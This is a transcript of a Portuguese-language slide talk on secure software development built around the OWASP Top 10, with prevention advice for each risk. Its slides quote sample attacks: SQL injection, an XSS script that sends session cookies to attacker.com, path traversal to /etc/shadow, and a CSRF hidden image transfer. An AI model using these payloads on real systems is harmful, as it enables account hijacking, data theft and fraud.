Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Desenvolvimento de Software Seguro

3,872 views

Published on

Palestra apresentada na Faculdade de Tecnologia SENAC (Porto Alegre) em 20/maio/2013

Published in: Technology
  • Be the first to comment

Desenvolvimento de Software Seguro

  1. 1. Augusto Lüdtke20/maio/2013
  2. 2.  Por que software seguro? Conceitos básicos Princípios de segurança OWASPTop 10
  3. 3.  Esta apresentação não é sobre a HP A HP não é responsável pelas opiniões apresentadas aqui
  4. 4. NetworkApplicationDatabase ServerWeb ServerApplication ServerOperating SystemFonte de 95% das vulnerabilidades(Software Security Testing: Let’s Get Back to Basics)Alvo de 75% dos ataques(Now Is the Time for Security at the Application Level)
  5. 5. Explosão no número de vulnerabilidades* National Vulnerabilty Database
  6. 6. A vantagem de corrigir cedo
  7. 7.  CIA Confidencialidade Integridade Disponibilidade (Availability) AAA Autenticação Autorização Auditoria
  8. 8.  OWASP▪ Open Web Application Security Project (Projeto Aberto de Segurança de AplicaçõesWeb)▪ Organização internacional▪ Sem fins lucrativos▪ Contribui para a melhoria da segurança de software OWASPTop 10 Conscientização sobre segurança de aplicações, identificando alguns dosmaiores riscos que as organizações enfrentam.
  9. 9. Versão 2010: risco x prevalência A1: Injection A2: Cross-Site Scripting (XSS) A3: Broken Authentication and Session Management A4: Insecure Direct Object References A5: Cross-Site Request Forgery (CSRF) A6: Security Misconfiguration A7: Insecure Cryptographic Storage A8: Failure to Restrict URLAccess A9: InsufficientTransport Layer Protection A10: Unvalidated Redirects and Forwards
  10. 10. A1: Injection Visão geral▪ Dados não confiáveis enviados para um interpretador como parte de umcomando/consulta▪ Interpretador executa um comando malicioso▪ Interpretadores:▪ Bancos de dados▪ Servidores LDAP▪ Shell Vulnerabilidades associadas▪ CWE-77: Improper Neutralization of Special Elements used in a Command(Command Injection)▪ CWE-89: Improper Neutralization of Special Elements used in an SQL Command(SQL Injection)
  11. 11. A1: Injection Exemplo A aplicação usa dados não-confiáveis na construção da consulta SQL:String query = "SELECT * FROM accountsWHERE custID=" + request.getParameter("id") +""; O atacante modifica o parâmetro ‘id’ no browser para enviar or 1=1:http://example.com/app/accountView?id= or 1=1 E a consulta executada é:SELECT * FROM accounts WHERE custID= or 1=1
  12. 12. A1: Injection Exemplos reais de SQL injection Microsoft UK (junho/2007)▪ Defacement Nações Unidas (agosto/2007)▪ Defacement
  13. 13. A1: Injection Exemplos reais de SQL injection Sony Pictures (junho/2011)▪ Milhares de contas (1M x 37K)▪ Nomes▪ Senhas▪ Endereços de e-mail▪ Endereços residenciais▪ Datas de nascimento Yahoo!Voices (julho/2012)▪ Mais de 400K contas▪ Usernames▪ Senhas não criptografadas
  14. 14. A1: Injection Prevenção Consultas parametrizadas: os dados são separados dos comandosString custname = request.getParameter("customerName");String query = "SELECT account_balance FROM user_data WHERE user_name = ? ";PreparedStatement pstmt = connection.prepareStatement(query);pstmt.setString(1, custname);ResultSet results = pstmt.executeQuery();
  15. 15. A2: Cross Site Scripting (XSS) Visão geral▪ Dados não-confiáveis são enviados para a aplicação (por URLs e formulários, porexemplo)▪ Aplicação repassa dados para o browser da vítima▪ Browser da vítima executa os comandos Vulnerabilidades associadas▪ CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-siteScripting)
  16. 16. A2: Cross Site Scripting (XSS) Exemplo A aplicação usa dados não-confiáveis na construção de código HTML:(String) page += “<input name=creditcard type=TEXT value=" +request.getParameter("CC") + ">"; O atacante cria uma URL para esta página, modificando o parâmetro CC para:‘><script>document.location= http://www.attacker.com/cgi-bin/cookie.cgi?foo=+document.cookie</script> Ao processar a URL, o browser do usuário processa a página contendo oJavaScript e o ID da sessão do usuário é enviado para o website do atacante.
  17. 17. A2: Cross Site Scripting (XSS) Exemplos reais barackobama.com (abril/2008)▪ XSS na seção Community Blogs levava usuário para o site hillaryclinton.com votehillary.org (abril/2008)▪ XSS permitia a inserção de um iframe com conteúdo do site de Obama
  18. 18. A2: Cross Site Scripting (XSS) Prevenção▪ Encoding/escaping de dados na entrada e na saída▪ Fazer com que <script> seja codificado como &lt;script&gt; (evitando a sua execução)▪ Proteger cookies com o atributo HttpOnly
  19. 19. A3: Broken Authentication and Session Management Visão geral▪ O atacante usa falhas nas funções de autenticação ou gerenciamento de sessãopara assumir a identidade do usuário.▪ Alvos: contas, senhas e IDs de sessão Vulnerabilidades associadas▪ CWE-287: Improper Authentication
  20. 20. A3: Broken Authentication and Session Management Exemplos Usuário autenticado informa os amigos sobre a passagem que comprou:http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii Mas acaba compartilhando sua ID de sessão (e seu cartão de crédito).
  21. 21. A3: Broken Authentication and Session Management Exemplos reais Timeout da aplicação não é definido apropriadamente:
  22. 22. A3: Broken Authentication and Session Management Exemplos reais Senhas não criptografadas no banco de dados:▪ DreamHost (janeiro/2012)▪ Billabong (julho/2012)
  23. 23. A3: Broken Authentication and Session Management Prevenção▪ Adicione um timeout à sessão para reduzir a janela de oportunidade▪ Use funções de hash e “salt” para armazenar senhas▪ Transmita as credenciais somente sobre HTTPS
  24. 24. A4: Insecure Direct Object References Visão geral▪ O atacante, que é um usuário autorizado do sistema, modifica o valor de umparâmetro que aponta para um objeto do sistema (arquivo, registro, etc.)▪ A aplicação não verifica as permissões necessárias e dá acesso indevido àsinformações Vulnerabilidades associadas▪ CWE-639: Authorization BypassThrough User-Controlled Key▪ CWE-22: Improper Limitation of a Pathname to a Restricted Directory (PathTraversal)
  25. 25. A4: Insecure Direct Object References Exemplo A aplicação usa dados não verificados numa consulta SQL acessandoinformações da conta:String query = "SELECT * FROM accts WHERE account = ?";PreparedStatement pstmt = connection.prepareStatement(query , ...);pstmt.setString(1, request.getParameter("acct"));ResultSet results = pstmt.executeQuery(); O atacante modifica o parâmetro ‘acct’ no browser para enviar o número daconta que ele quiser:http://example.com/app/accountInfo?acct=notmyacct
  26. 26. A4: Insecure Direct Object References Exemplo A aplicação abre arquivos que são determinados pelo usuáriohttp://some_site.com/../../../../etc/shadowhttp://some_site.com/get-files?file=/etc/passwd Exemplos de path traversal em servidores web:▪ Nginx (CVE-2009-3898)▪ ApacheTomcat (CVE-2009-2902)▪ IIS (CVE-2000-0884)
  27. 27. A4: Insecure Direct Object References Exemplos reais Dados de outros usuários acessados com pequenas mudanças na URL:▪ Passport Canada (dezembro/2007)▪ Citibank (junho/2011)
  28. 28. A4: Insecure Direct Object References Prevenção▪ Verifique se o usuário tem permissão para acessar o objeto requerido▪ Verifique se o caminho do arquivo requerido está dentro do “Document Root”▪ Normalize/canonicalize a requisição antes de validá-la▪ Transforme %2e%2e%5c em ..
  29. 29. A5: Cross-Site Request Forgery (CSRF) Visão geral▪ Um atacante faz o browser da vítima enviar um comando para uma aplicação webvulnerável▪ Browser inclui automaticamente dados de autenticação do usuário▪ Aplicação executa o comando em função da confiança que tem no usuário Vulnerabilidades associadas▪ CWE-352: Cross-Site Request Forgery (CSRF)
  30. 30. A5: Cross-Site Request Forgery (CSRF) Exemplo Site do banco recebe requisições de transferência no seguinte formato:http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243 Atacante monta uma requisição maliciosa e a insere numa tag de imagem ouiframe:<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" /> Se o usuário estiver logado no banco e abrir a página maliciosa, o banco irátransferir o dinheiro para o atacante.
  31. 31. A5: Cross-Site Request Forgery (CSRF) Exemplo reais Vulnerabilidades de CSRF permitiam:▪ Apagar conteúdo (fotos, vídeos, apresentações, etc.)▪ Postar comentários▪ Seguir usuários/perfis
  32. 32. A5: Cross-Site Request Forgery (CSRF) Prevenção▪ Incluir token não-previsível (synchronizer token) no corpo ou URL de cada requisiçãoHTTP▪ Limitar o tempo de vida dos cookies de sessão
  33. 33. A6: Security Misconfiguration Visão geral▪ É necessária uma configuração segura definida para a aplicação, frameworks,servidores de aplicação, servidores web, bancos de dados e plataforma.▪ Inclui configurações default e atualização de pacotes Vulnerabilidades associadas▪ CWE-2: Environment
  34. 34. A6: Security Misconfiguration Exemplo real Locaweb (setembro/2010)▪ Vulnerabilidade no kernel Linux (CVE-2010-3081)▪ Mais de 25 mil sites atacados▪ Troca de acusações entre Locaweb e Red Hat
  35. 35. A6: Security Misconfiguration Prevenção▪ Defina um processo para manter o sistema (incluindo bibliotecas) atualizado comtodos updates e patches▪ Desabilite serviços, portas, contas e privilégios desnecessários▪ Modifique ou desabilite senhas default
  36. 36. A7: Insecure Cryptographic Storage Visão geral Muitas aplicações não protegem adequadamente dados sensíveis:▪ Não criptografam os dados▪ Usam algoritmos inadequados▪ Não protegem as chaves criptográficas Vulnerabilidades associadas▪ CWE-310: Cryptographic Issues▪ CWE-312: Cleartext Storage of Sensitive Information▪ CWE-326: Inadequate Encryption Strength
  37. 37. A7: Insecure Cryptographic Storage Exemplo real LinkedIn (junho/2012)▪ Vazamento de 6,5 milhões de senhas criptografadas▪ Senhas armazenadas como hashes SHA-1▪ Não utilizavam “salt”▪ Vulneráveis a um ataque com “rainbow tables”
  38. 38. A7: Insecure Cryptographic Storage Prevenção▪ Identifique quais são os dados sensíveis▪ Use as proteções adequadas▪ Algoritmos seguros▪ Criptografia do sistema de arquivos▪ Criptografia de registros no banco de dados▪ Funções de hash com “salt” para armazenar senhas▪ Gerenciamento de chaves criptográficas▪ Geração▪ Armazenamento
  39. 39. A8: Failure to Restrict URL Access Visão geral▪ O atacante, que é um usuário do sistema, altera a URL para apontar para umapágina privilegiada.▪ A aplicação não verifica se aquele usuário tem permissão para acessar aquelapágina Vulnerabilidades associadas▪ CWE-285: Improper Authorization
  40. 40. A8: Failure to Restrict URL Access Exemplo real D-Link DSL-504T (CVE-2005-1827)▪ Qualquer usuário obtinha acesso (sem autenticação) ao roteador através da URLhttp://ipdoroteador/cgi-bin/firmwarecfg▪ Com este acesso, o usuário podia▪ Atualizar o firmware▪ Reiniciar o roteador▪ Restaurar uma configuração salva
  41. 41. A8: Failure to Restrict URL Access Prevenção▪ Inclua controles de autenticação e autorização em cada página▪ Use políticas de autenticação e autorização baseadas em papéis, para diminuir oesforço de manutenção▪ O mecanismo de autorização deve negar todos acessos por default, exigindopermissões explícitas para cada página
  42. 42. A9: InsufficientTransport Layer Protection Visão geral Aplicações falham em autenticar, criptografar e proteger a confidencialidadee integridade de tráfego de rede sensível. Vulnerabilidades associadas▪ CWE-319: Cleartext Transmission of Sensitive Information
  43. 43. A9: InsufficientTransport Layer Protection Exemplo real MI-5 (abril/2012)▪ Certificado SSL expirado
  44. 44. A9: InsufficientTransport Layer Protection Exemplo real Firesheep (outubro/2010)▪ Intercepta cookies não criptografados de sites como Facebook e Twitter
  45. 45. A9: InsufficientTransport Layer Protection Prevenção▪ Use SSL em todas páginas sensíveis. Redirecione requisições HTTP para as versõesHTTPS.▪ Proteja os cookies com o atributo Secure▪ Garanta que o seu certificado seja validado e aceito nos browsers dos clientes:▪ Domínios▪ Validade▪ Autoridade certificadora (CA)
  46. 46. A10: Unvalidated Redirects and Forwards Visão geral A aplicação faz redirects (com HTTP 302, por exemplo) utilizando parâmetrosdo usuário para de terminar o destino. Um atacante pode criar uma URL comum domínio conhecido, mas que levará o usuário para uma página maliciosa. Vulnerabilidades associadas▪ CWE-601: URL Redirection to Untrusted Site (Open Redirect)
  47. 47. A10: Unvalidated Redirects and Forwards Exemplo A aplicação tem uma página chamada “redirect.jsp”, que recebe umparâmetro “url”. O atacante constrói uma URL que redireciona usuários paraum site malicioso que faz phishing e instala malwares:http://www.example.com/redirect.jsp?url=evil.com Exemplo real Trac (CVE-2008-2951)▪ Vulnerabilidade de open redirect no script de pesquisa permitia redirect através deuma URL no parâmetro q.
  48. 48. A10: Unvalidated Redirects and Forwards Prevenção▪ Não use redirects▪ Se usar redirects, não envolva parâmetros do usuário para determinar o destino▪ Se usar parâmetros, garanta que o valor seja válido e autorizado para o usuário
  49. 49.  Livros Sites www.owasp.org cwe.mitre.org Notícias nakedsecurity.sophos.com thehackernews.com www.forbes.com/sites/andygreenberg/ www.h-online.com www.net-security.org www.securitybloggersnetwork.com @augusto_ludtke

×